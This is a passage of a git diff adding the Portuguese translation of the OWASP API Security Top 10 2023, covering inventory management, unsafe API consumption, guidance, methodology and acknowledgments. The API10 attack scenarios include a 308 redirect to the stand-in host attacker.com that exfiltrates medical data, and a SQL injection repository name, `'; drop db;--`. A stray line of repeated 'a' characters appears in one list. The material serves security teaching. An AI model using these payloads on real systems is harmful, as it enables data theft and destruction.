carga, proxies reversos e diretos, e servidores de + _back-end_) processem os pedidos de entrada de forma uniforme para evitar + problemas de dessincronização. +* Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta + da API, incluindo respostas de erro, para evitar que informações de exceções e + outras informações valiosas sejam enviadas para os atacantes. + +## Referências + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### Externas + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/pt-pt/0xa9-improper-inventory-management.md b/editions/2023/pt-pt/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..bad6bdece --- /dev/null +++ b/editions/2023/pt-pt/0xa9-improper-inventory-management.md @@ -0,0 +1,114 @@ +# API9:2023 Improper Inventory Management + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| Os agentes ameaça geralmente obtêm acesso não autorizado através de versões antigas de APIs ou _endpoints_ que permanecem em execução sem atualizações e que utilizam requisitos de segurança mais fracos. Em alguns casos, os _exploits_ estão disponíveis online. Alternativamente, podem obter acesso a dados sensíveis através de um terceiro com quem não há razão para compartilhar dados. | Documentação desatualizada torna mais difícil encontrar e/ou corrigir vulnerabilidades. A falta de inventário de recursos e estratégias de desativação leva à execução de sistemas sem atualizações, resultando em vazamentos de dados sensíveis. É comum encontrar hosts de API desnecessariamente expostos devido a conceitos modernos como microserviços, que tornam as aplicações fáceis de implantar e independentes (por exemplo, computação em nuvem, K8S). Um simples Google Dorking, enumeração de DNS ou o uso de motores de busca especializados para vários tipos de servidores (webcams, routers, servidores, etc.) conectados à internet será suficiente para descobrir alvos. | Os atacantes podem obter acesso a dados sensíveis ou até mesmo tomar o controlo do servidor. Às vezes, diferentes versões/implementações da API estão conectadas à mesma base de dados com dados reais. Agentes ameaça podem explorar _endpoints_ obsoletos disponíveis em versões antigas da API para obter acesso a funções administrativas ou explorar vulnerabilidades conhecidas. | + +## A API é vulnerável? + +A natureza dispersa e conectada das APIs e das aplicações modernas traz novos +desafios. É importante que as organizações não só tenham uma boa compreensão e +visibilidade das suas próprias APIs e _endpoints_, mas também de como as APIs +estão a armazenar ou a partilhar dados com terceiros. + +Executar múltiplas versões de uma API requer recursos de gestão adicionais do +fornecedor da API e expande a superfície de ataque. + +Uma API tem um "ponto cego de documentação" se: + +* O propósito de um _host_ da API é pouco claro e não há respostas explícitas + para as seguintes perguntas: + * Em que ambiente está a API a ser executada (por exemplo, produção, + _staging_, teste, desenvolvimento)? + * Quem deve ter acesso à rede da API (por exemplo, público, interno, + parceiros)? + * Qual versão da API está em execução? +* Não existe documentação ou a documentação existente não está atualizada. +* Não existe um plano de desativação para cada versão da API. +* O inventário do _host_ está em falta ou desatualizado. + +A visibilidade e o inventário dos fluxos de dados sensíveis desempenham um papel +importante como parte de um plano de resposta a incidentes, caso ocorra uma +violação do lado de terceiros. + +Uma API tem um "ponto cego de fluxo de dados" se: + +* Existe um "fluxo de dados sensíveis" onde a API compartilha dados sensíveis + com um terceiro e + * Não existe uma justificação de negócio ou aprovação do fluxo + * Não existe inventário ou visibilidade do fluxo + * Não há visibilidade detalhada sobre o tipo de dados sensíveis partilhados + + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de limitação de frequência de pedidos +que previne que atacantes possam usar força bruta para adivinhar _tokens_ de +redefinição de _password_. Este mecanismo não foi implementado como parte do +código da própria API, mas num componente separado entre o cliente e a API +oficial (`api.socialnetwork.owasp.org`). Um investigador encontrou um _host_ da +API beta (`beta.api.socialnetwork.owasp.org`) que executa a mesma API, incluindo +o mecanismo de redefinição de _password_, mas sem o mecanismo de limitação de +frequência de pedidos. O investigador conseguiu redefinir a _password_ de +qualquer utilizador usando força bruta simples para adivinhar o _token_ de 6 +dígitos. + +### Cenário #2 + +Uma rede social permite que desenvolvedores de aplicações independentes se +integrem com ela. Como parte desse processo, é solicitado o consentimento do +utilizador final para que a rede social possa partilhar as informações pessoais +do utilizador com a aplicação independente. + +O fluxo de dados entre a rede social e as aplicações independentes não é +suficientemente restritivo ou monitorizado, permitindo que as aplicações acedam +não apenas às informações do utilizador, mas também às informações privadas de +todos os seus amigos. + +Uma empresa de consultoria cria uma aplicação maliciosa e consegue obter o +consentimento de 270 mil utilizadores. Devido a essa falha, a empresa de +consultoria consegue aceder às informações privadas de 50 milhões de +utilizadores. Mais tarde, a empresa de consultoria vende as informações para +fins maliciosos. + +## Como Prevenir + +* Inventarie todos os _hosts_ da API e documentar os aspectos + importantes de cada um deles, focando no ambiente da API (por exemplo, + produção, _staging_, teste, desenvolvimento), quem deve ter acesso à rede do + _host_ (por exemplo, público, interno, parceiros) e a versão da API. +* Inventarie os serviços integrados e documentar aspectos + importantes, como o seu papel no sistema, quais dados são trocados (fluxo de + dados) e a sua sensibilidade. +* Documente todos os aspectos da sua API, como autenticação, erros, + redirecionamentos, limitação de frequência de pedidos, política de partilha de + recursos entre origens (CORS) e _endpoints_, incluindo os seus parâmetros, + pedidos e respostas. +* Crie documentação automaticamente adotando padrões abertos. Inclua a + construção da documentação no seu _pipeline_ de CI/CD. +* Disponibilize a documentação da API apenas para aqueles autorizados a utilizar + a API. +* Utilize medidas de proteção externas, como soluções específicas de segurança + de API, para todas as versões expostas das suas APIs, não apenas para a versão + de produção atual. +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +* Evite utilizar dados de produção em implementações de API que não são + produção. Se isso for inevitável, esses _endpoints_ devem receber o mesmo + tratamento de segurança que os de produção. +* Quando versões mais recentes das APIs incluem melhorias de segurança, realize + uma análise de risco para informar as ações de mitigação necessárias para as + versões mais antigas. Por exemplo, se é possível aplicar as melhorias nessas + versões mais antigas sem quebrar a compatibilidade da API ou se é necessário + remover rapidamente a versão mais antiga e forçar todos os clientes a migrar + para a versão mais recente. + +## Referências + +### Externas + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..3081d4048 --- /dev/null +++ b/editions/2023/pt-pt/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,111 @@ +# API10:2023 Unsafe Consumption of APIs + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Moderado** | Técnico **Severo** : Específico Negócio | +| Explorar este problema requer que os atacantes identifiquem e potencialmente comprometam outras APIs/serviços com os quais a API alvo está integrada. Normalmente, esta informação não está disponível publicamente ou a API/serviço integrado não é facilmente explorável. | Os desenvolvedores tendem a confiar e não a verificar os _endpoints_ que interagem com APIs externas ou de terceiros, dependendo de requisitos de segurança mais fracos, como aqueles relacionados à segurança do transporte, autenticação/autorização e validação e sanitização de dados. Os atacantes precisam identificar os serviços com os quais a API alvo se integra (fontes de dados) e, eventualmente, comprometer esses serviços. | O impacto varia de acordo com o que a API alvo faz com os dados extraídos. A exploração bem sucedida pode levar à exposição de informações sensíveis a atores não autorizados, a vários tipos de injeções ou à negação de serviço. | + +## A API é vulnerável? + +Os desenvolvedores tendem a confiar mais nos dados recebidos de APIs de +terceiros do que nos dados fornecidos por utilizadores. Isso é especialmente +verdade para APIs oferecidas por empresas bem conhecidas. Por essa razão, os +desenvolvedores tendem a adotar padrões de segurança mais fracos, especialmente +no que diz respeito à validação e sanitização de dados. + +A API pode estar vulnerável se: + +* Interage com outras APIs através de um canal não encriptado; +* Não valida e sanitiza corretamente os dados recolhidos de outras APIs antes de + os processar ou de os passar para componentes posteriores; +* Segue redirecionamentos cegamente; +* Não limita o número de recursos disponíveis para processar respostas de + serviços de terceiros; +* Não implementa limites de tempo para interações com serviços de terceiros; + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma API depende de um serviço de terceiros para enriquecer os endereços +comerciais fornecidos pelos utilizadores. Quando um endereço é fornecido pelo +utilizador final à API, ele é enviado para o serviço de terceiros e os dados +retornados são então armazenados numa base de dados local compatível com SQL. + +Atacantes utilizam o serviço de terceiros para armazenar um conteúdo malicioso +de injeção SQL (SQLi) associado a um negócio criado por eles. Em seguida, visam +a API vulnerável fornecendo um conteúdo específico que faz com que esta obtenha +o "negócio malicioso" do serviço de terceiros. O conteúdo de SQLi acaba por ser +executado pela base de dados, exfiltrando dados para um servidor controlado pelo +atacante. + +### Cenário #2 + +Uma API integra-se com um fornecedor de serviços de terceiros para armazenar com +segurança informações médicas sensíveis dos utilizadores. Os dados são enviados +através de uma conexão segura usando um pedido HTTP como o abaixo: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Atacantes encontraram uma forma de comprometer a API de terceiros, que começa a +responder com um `308 Permanent Redirect` a pedidos como o anterior. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Como a API segue cegamente os redirecionamentos do terceiro, ela repetirá +exatamente o mesmo pedido, incluindo os dados sensíveis do utilizador, mas desta +vez para o servidor do atacante. + +### Cenário #3 + +Um atacante pode preparar um repositório git chamado `'; drop db;--`. + +Agora, quando uma integração de uma aplicação atacada é feita com o repositório +malicioso, uma carga de injeção SQL é utilizada numa aplicação que constrói uma +consulta SQL, acreditando que o nome do repositório é um conteúdo seguro. + +## Como Prevenir + +* Ao avaliar fornecedores de serviços, analise a postura de segurança das suas + APIs. +* Garanta que todas as interações com APIs ocorram através de um canal de + comunicação seguro (TLS). +* Valide e sanitize sempre os dados recebidos de APIs integradas antes de os + utilizar. +* Mantenha uma lista de permissões de locais conhecidos para os quais as APIs + integradas podem redirecionar a sua: não siga redirecionamentos cegamente. + +## Referências + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externas + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/pt-pt/0xb0-next-devs.md b/editions/2023/pt-pt/0xb0-next-devs.md new file mode 100644 index 000000000..76c38f98c --- /dev/null +++ b/editions/2023/pt-pt/0xb0-next-devs.md @@ -0,0 +1,38 @@ +# O Que Se Segue Para Programadores + +A tarefa de criar e manter aplicações seguras, ou corrigir aplicações +existentes, pode ser difícil. Não é diferente para as APIs. + +Acreditamos que educação e consciencialização são fatores chave para o +desenvolvimento de software seguro. Tudo o mais necessário para alcançar este +objetivo depende da **definição e utilização de processos de segurança +reprodutíveis e do uso de controlos de segurança _standard_**. + +A OWASP disponibiliza uma grande quantidade de recursos gratuitos e abertos para +abordar a segurança. Por favor visite a [página dos projetos OWASP][1] para +consulta da lista dos projetos existentes. + +| | | +|-|-| +| **Educação** | O [Application Security Wayfinder][2] deve oferecer uma boa ideia sobre quais projetos estão disponíveis para cada etapa/fase do Ciclo de Vida do Desenvolvimento de Software (SDLC). Para aprendizagem prática/treino, pode começar com [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4]: ambos possuem APIs intencionalmente vulneráveis. O [OWASP Vulnerable Web Applications Directory Project][5] fornece uma lista curada de aplicações intencionalmente vulneráveis: lá encontrará várias outras APIs vulneráveis. Também pode participar em sessões de treino da [OWASP AppSec Conference][6] ou [juntar-se ao seu chapter local][7]. | +| **Requisitos de Segurança** | A segurança deve fazer parte de qualquer projeto desde o início. É importante que, durante a fase de identificação de requisitos, seja definido o que é que “seguro” significa no contexto desse projeto. A OWASP recomenda a utilização do [OWASP Application Security Verification Standard (ASVS)][8] como guia para definir os requisitos de segurança. Se estiver a subcontratar, considere ao invés a utilização do [OWASP Secure Software Contract Annex][9], o qual deverá adaptar às leis e regulamentações locais. | +| **Arquitetura de Segurança** | A segurança deve ser uma preocupação durante todas as fases dum projeto. O projeto [OWASP Prevention Cheat Sheets][10] é um bom ponto inicial de orientação sobre como contemplar a segurança durante a fase de arquitetura. Entre outros, o [REST Security Cheat Sheet][11] e o [REST Assessment Cheat Sheet][12] serão seguramente relevantes, como também o [GraphQL Cheat Sheet][13]. | +| **Controlos Standard de Segurança** | A adoção de controlos standard de segurança reduzem o risco de introdução de falhas de segurança durante a implementação da lógica de negócio. Apesar de muitas _frameworks_ modernas já incluírem controlos standard, o projeto [OWASP Proactive Controls][14] dá-lhe uma boa visão sobre que controlos de segurança deve incluir no seu projeto. A OWASP também disponibiliza algumas bibliotecas e ferramentas que pode achar úteis, tais como controlos de validação. | +| **Ciclo de Desenvolvimento de Software Seguro** | Pode usar o [OWASP Software Assurance Maturity Model (SAMM)][15] para melhorar o processo de desenvolvimento de APIs. Tem ainda disponíveis vários outros projetos OWASP para o ajudar durante as várias fases de desenvolvimento de APIs, por exemplo o [OWASP Code Review Guide][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/pt-pt/0xb1-next-devsecops.md b/editions/2023/pt-pt/0xb1-next-devsecops.md new file mode 100644 index 000000000..44b5284cb --- /dev/null +++ b/editions/2023/pt-pt/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# O Que Se Segue Para DevSecOps + +Dada a sua importância na arquitetura das aplicações modernas, desenvolver APIs +seguras é crucial. A segurança não pode ser negligenciada e deve estar presente +durante todo o clico de vida do desenvolvimento. Já não basta a execução de +_scanners_ ou a realização de testes de penetração anualmente. + +A equipa de DevSecOps deve fazer parte do esforço de desenvolvimento +contribuindo para a realização de testes de segurança, de forma continuada, +durante todo o ciclo de vida do desenvolvimento. Deve ter como objetivo melhorar +a _pipeline_ de desenvolvimento com automação de segurança e sem influenciar +negativamente o ritmo do desenvolvimento. + +Em caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)][2] e o [OWASP Testing Guide][3] como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. | +| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. | +| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework][4] e o [OWASP Application Security Verification Standard][2] podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos][5] e [ferramentas][6] como aquelas disponibilizadas pela [comunidade DevSecOps][7]. | +| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. | +| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/pt-pt/0xd0-about-data.md b/editions/2023/pt-pt/0xd0-about-data.md new file mode 100644 index 000000000..90919b3a8 --- /dev/null +++ b/editions/2023/pt-pt/0xd0-about-data.md @@ -0,0 +1,75 @@ +# Metodologia e Dados + +## Preâmbulo + +Para esta atualização da lista, a equipa de Segurança de API da OWASP utilizou a +mesma metodologia adotada com sucesso para a lista de 2019, com a adição de um +[Pedido Público por Dados][1] de 3 meses. Infelizmente, este pedido não resultou +em dados que permitissem uma análise estatística relevante sobre os problemas de +segurança de API mais comuns. + +Contudo, com uma indústria de segurança de API mais madura e capaz de fornecer +feedback e informações diretamente, o processo de atualização avançou usando a +mesma metodologia de antes. + +Chegados a este ponto, acreditamos ter um bom documento de consciencialização +para os próximos três ou quatro anos, mais focado nas questões específicas das +APIs modernas. O objetivo deste projeto não é substituir outras listas de top +10, mas sim cobrir os principais riscos de segurança de API atuais e emergentes, +sobre os quais acreditamos que a indústria deve estar atenta e ser diligente. + +## Metodologia + +Na primeira fase, dados publicamente disponíveis sobre incidentes de segurança +em APIs foram recolhidos, revistos e categorizados. Esses dados foram obtidos de +plataformas de _bug bounty_ e relatórios públicos. Apenas problemas reportados +entre 2019 e 2022 foram considerados. Esses dados ajudaram a equipa a entender +em que direção a lista de top 10 anterior deveria evoluir, assim como a lidar +com possíveis vieses dos dados contribuídos. + +Um [Pedido Público por Dados][1] foi realizado de 1 de Setembro a 30 de Novembro +de 2022. Em paralelo, a equipa do projeto iniciou a discussão sobre o que mudou +desde 2019. A discussão incluiu o impacto da primeira lista, o feedback recebido +da comunidade e novas tendências na segurança de APIs. + +A equipa do projeto promoveu reuniões com especialistas sobre ameaças relevantes +à segurança de APIs para obter informações sobre como as vítimas são impactadas +e como essas ameaças podem ser mitigadas. + +Este esforço resultou num rascunho inicial do que a equipa acredita serem os dez +riscos mais críticos de segurança para APIs. A [Metodologia de Classificação de +Risco da OWASP][2] foi utilizada para realizar a análise de riscos. As +classificações de prevalência foram decididas por consenso entre os membros da +equipa do projeto, com base na sua experiência na área. Para considerações sobre +esses temas, consulte a secção [Riscos de Segurança em APIs][3]. + +O rascunho inicial foi então compartilhado para revisão com profissionais de +segurança com experiência relevante na área de segurança de APIs. Os seus +comentários foram analisados, discutidos e, quando aplicável, incluídos no +documento. O documento resultante foi [publicado como uma Versão Candidata][4] +para [discussão aberta][5]. Várias [contribuições da comunidade][6] foram +incorporadas no documento final. + +A lista de contribuidores está disponível na secção de [Agradecimentos][7]. + +## Riscos Específicos de APIs + +A lista foi elaborada para abordar riscos de segurança que são mais específicos +para APIs. + +Não implica que outros riscos genéricos de segurança de aplicações não existam +em aplicações baseadas em APIs. Por exemplo, não incluímos riscos como +"Componentes Vulneráveis e Desatualizados" ou "Injeção", embora você possa +encontrá-los em aplicações baseadas em APIs. Esses riscos são genéricos, não se +comportam de forma diferente em APIs, nem a sua exploração é diferente. + +O nosso objetivo é aumentar a conscientização sobre os riscos de segurança que +merecem atenção especial em APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0xd1-acknowledgments.md b/editions/2023/pt-pt/0xd1-acknowledgments.md new file mode 100644 index 000000000..3ca938307 --- /dev/null +++ b/editions/2023/pt-pt/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Agradecimentos + +## Agradecimento ao Contribuidores + +Gostaríamos de agradecer às pessoas abaixo, as quais contribuíram publicamente +no GitHub ou por outros meios: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/pt-pt/images/cover.jpg b/editions/2023/pt-pt/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/pt-pt/images/cover.jpg differ diff --git a/editions/2023/pt-pt/images/front-cc.png b/editions/2023/pt-pt/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/pt-pt/images/front-cc.png differ diff --git a/editions/2023/pt-pt/images/front-wasp.png b/editions/2023/pt-pt/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/pt-pt/images/front-wasp.png differ diff --git a/editions/2023/pt-pt/images/license.png b/editions/2023/pt-pt/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/pt-pt/images/license.png differ diff --git a/editions/2023/pt-pt/images/owasp-logo.png b/editions/2023/pt-pt/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/pt-pt/images/owasp-logo.png differ